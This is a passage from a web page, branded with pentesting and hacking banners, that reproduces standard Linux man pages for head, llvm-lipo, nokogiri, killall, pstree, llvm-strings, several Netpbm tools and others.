X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

**–tmpdir=**path, -t path

The path name of the directory to use for creating temporary files.

·

–upgrade-system-tables, -s

Only upgrade the system tables in the mysql database. Tables in other databases are not checked or touched.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server and not using the current login.

·

–verbose

Display more output about the process. Using it twice will print connection arguments; using it 3 times will print out all CHECK, RENAME and ALTER TABLE commands used during the check phase; using it 4 times (added in MariaDB 10.0.14) will also write out all mariadb-check commands used; using it 5 times will print all the mariadb commands used and their results while running mysql_fix_privilege_tables script.

·

–version, -V

Output version information and exit.

·

–version-check, -k

Run this program only if its ‘server version’ matches the version of the server to which it’s connecting. Note: the ‘server version’ of the program is the version of the MariaDB server with which it was built/distributed. Defaults to on; use –skip-version-check to disable.

·

–write-binlog

Cause binary logging to be enabled while mysql_upgrade runs.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1981 - Linux cli command head

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command head and provides detailed information about the command head, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the head.

NAME 🖥️ head 🖥️

output the first part of files

SYNOPSIS

head [OPTION]… [FILE]…

DESCRIPTION

Print the first 10 lines of each FILE to standard output. With more than one FILE, precede each with a header giving the file name.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

-c, –bytes=[-]NUM
print the first NUM bytes of each file; with the leading ‘-’, print all but the last NUM bytes of each file

-n, –lines=[-]NUM
print the first NUM lines instead of the first 10; with the leading ‘-’, print all but the last NUM lines of each file

-q, –quiet, –silent
never print headers giving file names

-v, –verbose
always print headers giving file names

-z, –zero-terminated
line delimiter is NUL, not newline

–help
display this help and exit

–version
output version information and exit

NUM may have a multiplier suffix: b 512, kB 1000, K 1024, MB 1000*1000, M 1024*1024, GB 1000*1000*1000, G 1024*1024*1024, and so on for T, P, E, Z, Y, R, Q. Binary prefixes can be used, too: KiB=K, MiB=M, and so on.

AUTHOR

Written by David MacKenzie and Jim Meyering.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

tail(1)

Full documentation <https://www.gnu.org/software/coreutils/head>
or available locally via: info ‘(coreutils) head invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1982 - Linux cli command llvm-lipo-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-lipo-16 and provides detailed information about the command llvm-lipo-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-lipo-16.

NAME 🖥️ llvm-lipo-16 🖥️

lipo - LLVM tool for manipulating universal binaries

SYNOPSIS

llvm-lipo [filenames…] [options]

DESCRIPTION

llvm-lipo can create universal binaries from Mach-O files, extract regular object files from universal binaries, and display architecture information about both universal and regular files.

COMMANDS

llvm-lipo supports the following mutually exclusive commands:

-help, -h
Display usage information and exit.

-version
Display the version of this program.

-verify_arch <architecture 1> [<architecture 2> …]
Take a single input file and verify the specified architectures are present in the file. If so then exit with a status of 0 else exit with a status of 1.

-archs
Take a single input file and display the architectures present in the file. Each architecture is separated by a single whitespace. Unknown architectures are displayed as unknown(CPUtype,CPUsubtype).

-info
Take at least one input file and display the descriptions of each file. The descriptions include the filename and architecture types separated by whitespace. Universal binaries are grouped together first, followed by thin files. Architectures in the fat file: <filename> are: <architectures> Non-fat file: <filename> is architecture: <architecture>

-thin
Take a single universal binary input file and the thin flag followed by an architecture type. Require the output flag to be specified, and output a thin binary of the specified architecture.

-create
Take at least one input file and require the output flag to be specified. Output a universal binary combining the input files.

-replace
Take a single universal binary input file and require the output flag to be specified. The replace flag is followed by an architecture type, and a thin input file. Output a universal binary with the specified architecture slice in the universal binary input replaced with the contents of the thin input file.

-segalign
Additional flag that can be specified with create and replace. The segalign flag is followed by an architecture type, and an alignment. The alignment is a hexadecimal number that is a power of 2. Output a file in which the slice with the specified architecture has the specified alignment.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/issues/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1983 - Linux cli command nokogiri

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nokogiri and provides detailed information about the command nokogiri, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nokogiri.

NAME 🖥️ nokogiri 🖥️

an HTML, XML, SAX, and Reader parser

DESCRIPTION

Nokogiri (鋸) is an HTML, XML, SAX, and Reader parser. Among Nokogiri’s many features is the ability to search documents via XPath or CSS3 selectors. The nokogiri command parses a document, and launches an interactive ruby session (irb(1)), allowing one to analysing the result interactively.

SYNOPSYS

nokogiri <uri|path> [options]

OPTIONS

–type [TYPE]
Set the type of the document to be parsed

-E, –encoding encoding
Set the encoding of the document

-e command
Specifies script from command-line

–rng <uri|path>
Validate using this rng file

-?, –help
Show a message very similar to this man page

-v, –version
Show the version of the program

EXAMPLES

nokogiri http://www.ruby-lang.org/

nokogiri ./public/index.html

curl -s http://nokogiri.org | nokogiri -e’p $_.css(“h1”).length'

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1984 - Linux cli command killall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command killall and provides detailed information about the command killall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the killall.

NAME 🖥️ killall 🖥️

kill processes by name

SYNOPSIS

killall [-Z,** –context** pattern] [-e,** –exact**] [-g,** –process-group**] [-i,** –interactive**] [-n,** –ns** PID] [-o,** –older-than** TIME] [-q,** –quiet**] [-r,** –regexp**] [-s,** –signal** SIGNAL, -**SIGNAL] [-u**,** –user** user] [-v,** –verbose**] [-w,** –wait**] [-y,** –younger-than** TIME] [-I,** –ignore-case**] [-V,** –version**] [] name
killall -l, –list
killall -V,** –version**

DESCRIPTION

killall sends a signal to all processes running any of the specified commands. If no signal name is specified, SIGTERM is sent.

Signals can be specified either by name (e.g. -HUP or -SIGHUP) or by number (e.g. -1) or by option -s.

If the command name is not regular expression (option -r) and contains a slash (/), processes executing that particular file will be selected for killing, independent of their name.

killall returns a zero return code if at least one process has been killed for each listed command, or no commands were listed and at least one process matched the -u and -Z search criteria. killall returns non-zero otherwise.

A killall process never kills itself (but may kill other killall processes).

OPTIONS

-e, –exact
Require an exact match for very long names. If a command name is longer than 15 characters, the full name may be unavailable (i.e. it is swapped out). In this case, killall will kill everything that matches within the first 15 characters. With -e, such entries are skipped. killall prints a message for each skipped entry if -v is specified in addition to -e.

-I, –ignore-case
Do case insensitive process name match.

-g, –process-group
Kill the process group to which the process belongs. The kill signal is only sent once per group, even if multiple processes belonging to the same process group were found.

-i, –interactive
Interactively ask for confirmation before killing.

-l, –list
List all known signal names.

-n, –ns
Match against the PID namespace of the given PID. The default is to match against all namespaces.

-o, –older-than
Match only processes that are older (started before) the time specified. The time is specified as a float then a unit. The units are s,m,h,d,w,M,y for seconds, minutes, hours, days, weeks, months and years respectively.

-q, –quiet
Do not complain if no processes were killed.

-r, –regexp
Interpret process name pattern as a POSIX extended regular expression, per regex(3).

-s, –signal, -SIGNAL
Send this signal instead of SIGTERM.

-u, –user
Kill only processes the specified user owns. Command names are optional.

-v, –verbose
Report if the signal was successfully sent.

-V, –version
Display version information.

-w, –wait
Wait for all killed processes to die. killall checks once per second if any of the killed processes still exist and only returns if none are left. Note that killall may wait forever if the signal was ignored, had no effect, or if the process stays in zombie state.

-y, –younger-than
Match only processes that are younger (started after) the time specified. The time is specified as a float then a unit. The units are s,m,h,d,w,M,y for seconds, minutes, hours, days, weeks, Months and years respectively.

-Z, –context
Specify security context: kill only processes having security context that match with given extended regular expression pattern. Must precede other arguments on the command line. Command names are optional.

FILES

/proc
location of the proc file system

KNOWN BUGS

Killing by file only works for executables that are kept open during execution, i.e. impure executables can’t be killed this way.

Be warned that typing killall name may not have the desired effect on non-Linux systems, especially when done by a privileged user.

killall -w doesn’t detect if a process disappears and is replaced by a new process with the same PID between scans.

If processes change their name, killall may not be able to match them correctly.

killall has a limit of names that can be specified on the command line. This figure is the size of an unsigned long integer multiplied by 8. For most 32 bit systems the limit is 32 and similarly for a 64 bit system the limit is usually 64.

SEE ALSO

kill(1), fuser(1), pgrep(1), pidof(1), pkill(1), ps(1), kill(2), regex(3).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1985 - Linux cli command pstree.x11

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pstree.x11 and provides detailed information about the command pstree.x11, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pstree.x11.

NAME 🖥️ pstree.x11 🖥️

display a tree of processes

SYNOPSIS

pstree [-a,** –arguments**] [-c,** –compact-not**] [-C,** –color attr**] [-g,** –show-pgids**] [-h,** –highlight-all**,** -H** pid**,** –highlight-pid pid**]** [-l,** –long**] [-n,** –numeric-sort**] [-N,** –ns-sort ns**] [-p,** –show-pids**] [-s,** –show-parents**] [-S,** –ns-changes**] [-t,** –thread-names**] [-T,** –hide-threads**] [-u,** –uid-changes**] [-Z,** –security-context**] [-A,** –ascii**,** -G**,** –vt100**,** -U**,** –unicode**] [pid,** user]**
pstree -V,** –version**

DESCRIPTION

pstree shows running processes as a tree. The tree is rooted at either pid or init if pid is omitted. If a user name is specified, all process trees rooted at processes owned by that user are shown.

pstree visually merges identical branches by putting them in square brackets and prefixing them with the repetition count, e.g.

    init-+-getty
         |-getty
         |-getty
         `-getty

becomes

    init---4*[getty]

Child threads of a process are found under the parent process and are shown with the process name in curly braces, e.g.

    icecast2---13*[{icecast2}]

If pstree is called as pstree.x11 then it will prompt the user at the end of the line to press return and will not return until that has happened. This is useful for when pstree is run in a xterminal.

Certain kernel or mount parameters, such as the hidepid option for procfs, will hide information for some processes. In these situations pstree will attempt to build the tree without this information, showing process names as question marks.

OPTIONS

-a
Show command line arguments. If the command line of a process is swapped out, that process is shown in parentheses. -a implicitly disables compaction for processes but not threads.

-A
Use ASCII characters to draw the tree.

-c
Disable compaction of identical subtrees. By default, subtrees are compacted whenever possible.

-C
Color the process name by given attribute. Currently pstree only accepts the value age which colors by process age. Processes newer than 60 seconds are green, newer than an hour yellow and the remaining red.

-g
Show PGIDs. Process Group IDs are shown as decimal numbers in parentheses after each process name. If both PIDs and PGIDs are displayed then PIDs are shown first.

-G
Use VT100 line drawing characters.

-h
Highlight the current process and its ancestors. This is a no-op if the terminal doesn’t support highlighting or if neither the current process nor any of its ancestors are in the subtree being shown.

-H
Like -h, but highlight the specified process instead. Unlike with -h, pstree fails when using -H if highlighting is not available.

-l
Display long lines. By default, lines are truncated to either the COLUMNS environment variable or the display width. If neither of these methods work, the default of 132 columns is used.

-n
Sort processes with the same parent by PID instead of by name. (Numeric sort.)

-N
Show individual trees for each namespace of the type specified. The available types are: ipc, mnt, net, pid, time, user, uts. Regular users don’t have access to other users’ processes information, so the output will be limited.

-p
Show PIDs. PIDs are shown as decimal numbers in parentheses after each process name. -p implicitly disables compaction.

-s
Show parent processes of the specified process.

-S
Show namespaces transitions. Like -N, the output is limited when running as a regular user.

-t
Show full names for threads when available.

-T
Hide threads and only show processes.

-u
Show uid transitions. Whenever the uid of a process differs from the uid of its parent, the new uid is shown in parentheses after the process name.

-U
Use UTF-8 (Unicode) line drawing characters. Under Linux 1.1-54 and above, UTF-8 mode is entered on the console with echo -e ‘%8’ and left with echo -e ‘%@’.

-V
Display version information.

-Z
Show the current security attributes of the process. For SELinux systems this will be the security context.

FILES

/proc
location of the proc file system

BUGS

Some character sets may be incompatible with the VT100 characters.

SEE ALSO

ps(1), top(1), proc(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1986 - Linux cli command llvm-strings-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-strings-16 and provides detailed information about the command llvm-strings-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-strings-16.

NAME 🖥️ llvm-strings-16 🖥️

strings - print strings

SYNOPSIS

llvm-strings [options] [input…]

DESCRIPTION

llvm-strings is a tool intended as a drop-in replacement for GNU’s strings, which looks for printable strings in files and writes them to the standard output stream. A printable string is any sequence of four (by default) or more printable ASCII characters. The end of the file, or any other byte, terminates the current sequence.

llvm-strings looks for strings in each input file specified. Unlike GNU strings it looks in the entire input file, regardless of file format, rather than restricting the search to certain sections of object files. If “-” is specified as an input, or no input is specified, the program reads from the standard input stream.

EXAMPLE

$ cat input.txt bars foo wibble blob $ llvm-strings input.txt bars wibble blob

OPTIONS

–all, -a
Silently ignored. Present for GNU strings compatibility.

–bytes=<length>, -n
Set the minimum number of printable ASCII characters required for a sequence of bytes to be considered a string. The default value is 4.

–help, -h
Display a summary of command line options.

–print-file-name, -f
Display the name of the containing file before each string.

Example:

$ llvm-strings –print-file-name test.o test.elf test.o: _Z5hellov test.o: some_bss test.o: test.cpp test.o: main test.elf: test.cpp test.elf: test2.cpp test.elf: _Z5hellov test.elf: main test.elf: some_bss

–radix=<radix>, -t
Display the offset within the file of each string, before the string and using the specified radix. Valid <radix> values are o, d and x for octal, decimal and hexadecimal respectively.

Example:

$ llvm-strings –radix=o test.o 1054 _Z5hellov 1066 .rela.text 1101 .comment 1112 some_bss 1123 .bss 1130 test.cpp 1141 main $ llvm-strings –radix=d test.o 556 _Z5hellov 566 .rela.text 577 .comment 586 some_bss 595 .bss 600 test.cpp 609 main $ llvm-strings -t x test.o 22c _Z5hellov 236 .rela.text 241 .comment 24a some_bss 253 .bss 258 test.cpp 261 main

–version
Display the version of the llvm-strings executable.

@<FILE>
Read command-line options from response file <FILE>.

EXIT STATUS

llvm-strings exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-strings/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1987 - Linux cli command pgmtolispm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtolispm and provides detailed information about the command pgmtolispm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtolispm.

.

NAME 🖥️ pgmtolispm 🖥️

convert a PGM image to Lisp Machine format

SYNOPSIS

pgmtolispm

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmtolispm reads a PGM image as input and produces a Lisp Machine bitmap as output.

This is the file format read by the tv:read-bit-array-file function on TI Explorer and Symbolics lisp machines.

Given a PGM (instead of a PBM), pgmtolispm outputs a multi-plane image. This is probably not useful unless you have a color lisp machine.

Multi-plane bitmaps on lisp machines are color; but the lispm image file format does not include a color map, so we must treat it as a graymap instead. This is unfortunate.

OPTIONS

There are no command line options defined specifically for pgmtolispm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

lispmtopgm(1) , pgm(1)

LIMITATIONS

Output width is always rounded up to the nearest multiple of 32; this might not always be what you want, but it probably is (arrays which are not modulo 32 cannot be passed to the Lispm BITBLT function, and thus cannot easily be displayed on the screen).

No color.

AUTHOR

Copyright (C) 1991 by Jamie Zawinski and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtolispm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1988 - Linux cli command pnmpaste

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmpaste and provides detailed information about the command pnmpaste, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmpaste.

.

NAME 🖥️ pnmpaste 🖥️

paste a rectangle into a PNM image

SYNOPSIS

pnmpaste

[-replace | -or | -and | -xor | -nor | -nand | -nxor]

frompnmfile x y [intopnmfile]

You can abbreviate all options to their shortest unique prefix.

DESCRIPTION

This program is part of Netpbm(1) .

pnmpaste reads two PNM images as input and inserts the first image (the “pasted image”) into the second (the “base image”) at the specified location, and produces a PNM image the same size and type as the base image as output.

Either file name argument (but not both) may be ‘-’ to indicate Standard Input. If you don’t specify the second file argument at all, that’s the same as ‘-’.

x and y specify the location in the base image at which to put the top left corner of the pasted image, x giving the horizontal position and x giving the vertical position. A nonnegative value indicates the number of pixels right of the right edge or below the top edge of the base image, while a negative value indicates the number of pixels right of the right edge or below the bottom edge (so x = -5 means 5 pixels left of the right edge).

If any part of the pasted image does not fit within the base image, pnmpaste fails.

This tool is most useful in combination with pamcut. For instance, if you want to edit a small segment of a large image, and your image editor cannot edit the large image, you can cut out the segment you are interested in, edit it, and then paste it back in.

Another useful companion tool is pbmmask.

pamcomp is a more general tool, except that it lacks the “or,” “and,” and “xor” functions. pamcomp allows you to specify a transparency mask in order to have only part of the inserted image get inserted. So the inserted pixels need not be a rectangle. You can also have the inserted image be translucent, so the resulting image is a mixture of the inserted image and the base image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmpaste recognizes the following command line options:

-replace, -or, -and, -xor,
-nor, -nand, -nxor

These option specify the operation to use when doing the paste. The default is -replace, which means to do the obvious paste: replace pixels of the “into” image with those of the “from” image.

-and, -nand, -or, -nor, -xor, and nxor are allowed only if both input images are PBM images. They say to combine the “from” and “into” images by performing boolean operations: Each pixel of the output image is the result of the boolean operation on the corresponding pixels of the two input images, where white is TRUE and black is FALSE.

Note that this is different from what you would get by doing a bit arithmetic on the bits in the PBM images, because in PBM, white is represented by a 0 bit, and 0 in bit arithmetic corresponds to FALSE in boolean arithmetic.

-nand, -nor, and -nxor were new in Netpbm 10.85 (December 2018).

SEE ALSO

pamcomp(1) , pamcut(1) , pnminvert(1) , pnmarith(1) , pbmmask(1) , pnm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmpaste.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1989 - Linux cli command pygettext3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pygettext3 and provides detailed information about the command pygettext3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pygettext3.

NAME 🖥️ pygettext3 🖥️

Python equivalent of xgettext(1)

SYNOPSIS

pygettext [OPTIONS] INPUTFILE

DESCRIPTION

pygettext is deprecated. The current version of xgettext supports many languages, including Python.

pygettext uses Python’s standard tokenize module to scan Python source code, generating .pot files identical to what GNU xgettext generates for C and C++ code. From there, the standard GNU tools can be used.

pygettext searches only for _() by default, even though GNU xgettext recognizes the following keywords: gettext, dgettext, dcgettext, and gettext_noop. See the -k/–keyword flag below for how to augment this.

OPTIONS

-a, –extract-all
Extract all strings.

-d, –default-domain=NAME
Rename the default output file from messages.pot to name.pot.

-E, –escape
Replace non-ASCII characters with octal escape sequences.

-D, –docstrings
